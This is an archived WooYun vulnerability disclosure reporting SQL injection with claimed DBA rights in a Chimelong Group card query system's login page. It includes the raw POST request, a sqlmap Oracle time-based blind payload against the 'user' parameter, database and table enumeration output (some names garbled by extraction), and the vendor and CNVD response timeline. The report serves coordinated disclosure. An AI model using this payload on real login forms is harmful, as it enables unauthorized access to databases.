当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158255

漏洞标题:长隆集团某系统SQL注入(DBA权限)

相关厂商:长隆集团

漏洞作者: Lar2y

提交时间:2015-12-05 04:38

修复时间:2016-01-21 18:22

公开时间:2016-01-21 18:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-05: 细节已通知厂商并且等待厂商处理中
2015-12-09: 厂商已经确认,细节仅向厂商公开
2015-12-19: 细节向核心白帽子及相关领域专家公开
2015-12-29: 细节向普通白帽子公开
2016-01-08: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

RT~有礼物吗?

详细说明:

长隆牡丹卡自助查询系统。。。
http://**.**.**.**/search/login.php

1.png

漏洞证明:

登录处SQL注入

POST /search/login.php HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 35
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/search/login.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: Hm_lvt_845bef98c7b6fcce916618254fda1b24=1449107427; _ga=GA1.2.1232747967.1449107428; __utma=111750870.1232747967.1449107428.1449107428.1449107428.1; __utmz=111750870.1449107428.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=m2s8him2b7qhf68rf9k1vrird7
act=login&user=1&password=1&submit=


参数user未过滤

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: user (POST)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: act=login&user=525252525252' AND 9980=DBMS_PIPE.RECEIVE_MESSAGE(CHR(104)||CHR(70)||CHR(122)||CHR(100),5) AND 'KDla'='KDla&password=admin&submit=
---
web server operating system: Windows
web application technology: PHP 5.2.10, Apache 2.0.63
back-end DBMS: Oracle
No tables found
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: user (POST)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: act=login&user=525252525252' AND 9980=DBMS_PIPE.RECEIVE_MESSAGE(CHR(104)||CHR(70)||CHR(122)||CHR(100),5) AND 'KDla'='KDla&password=admin&submit=
---
web server operating system: Windows
web application technology: PHP 5.2.10, Apache 2.0.63
back-end DBMS: Oracle
available databases [16]:
[*] "]YUM`LAAK#! 11D!)|P~A "
[*] "`\?86STEM"
[*] "ORDTYSC!7"
[*] "OUTLP%
T\E"
[*] "QXFSYSJ "
[*] "SAS=2"
[*] "T]KTTB"
[*] CHIME
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] MDSYS
[*] OLAPeYS
[*] TSMSYS
[*] WMSYS
[*] XDB


数据很多就没有跑下去了。。。。

Database: XDB
[14 tables]
+--------------------+
| DATABASES |
| ORDERITEMS |
| PERSONNE |
| R2WEIGHTS |
| ROLE |
| LOGINS |
| MWUSER |
| NOTAFISCAL_DEDUCAO |
| PEER_CONFIGS |
| PRINCIPAL |
| STUDENT |
| TURNS |
| USR_PASS |
| ZOPH_PEOPLE |
+--------------------+


Database: CTXSYS
[20 tables]
+-------------------+
| CONFIG |
| PERMISSIONS |
| SITE_LOGIN |
| STAATEN |
| ARRAY_DATA |
| IMAGEATTRIBUTE |
| JIVEGROUP |
| MWUSER |
| NUKE_AUTHORS |
| NUKE_BBPOSTS_TEXT |
| NUKE_ENCYCLOPEDIA |
| NUKE_STATS_MONTH |
| OIL_COMPONENTS |
| ROLES |
| SOFTWARE_LICENSES |
| STORE1 |
| USER_TEST |
| USER_UNAME |
| USERN |
| WSOP |
+-------------------+


Database: DMSYS
[16 tables]
+---------------------+
| GDIRECTEDROUTE |
| SUPPORT_INCIDENTS |
| UM_USER_PERMISSIONS |
| BORDERS |
| CDB_PMS |
| FESTPLATTE |
| FORUM_REPORT |
| JOS_CORE_LOG_ITEMS |
| MODULEPHOTO |
| NUKE_FAQCATEGORIES |
| PHPBB_VOTE_DESC |
| RESERVATION |
| SSE_FAMILIA |
| STORE2 |
| TABLE_USER |
| TBL_MEMBERS |
+---------------------+


Database: MDSYS
[20 tables]
+------------------------+
| DM |
| ACTIVITY |
| AUT |
| BINN_BANN_RESTRICTED |
| BINN_ORDER_TEMPS |
| BINN_PATH_TEMPS |
| BINN_RUBRIKATOR_TLEVEL |
| CALENDARIO |
| CATEGORY |
| HABILIDAD |
| HOT_PROP |
| JOS_VM_ORDERS |
| JOS_VM_PRODUCT_FILES |
| MODULEMAILLING |
| PARTENAIRES |
| PELATES |
| REGLEMENT |
| SPIP_CACHES |
| TB_ADMINISTRATOR |
| WINDOWS |
+------------------------+
DBA权限。。

2.png


修复方案:

修复。。。

版权声明:转载请注明来源 Lar2y@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-12-09 16:35

厂商回复:

CNVD未直接复现所述漏洞情况,暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无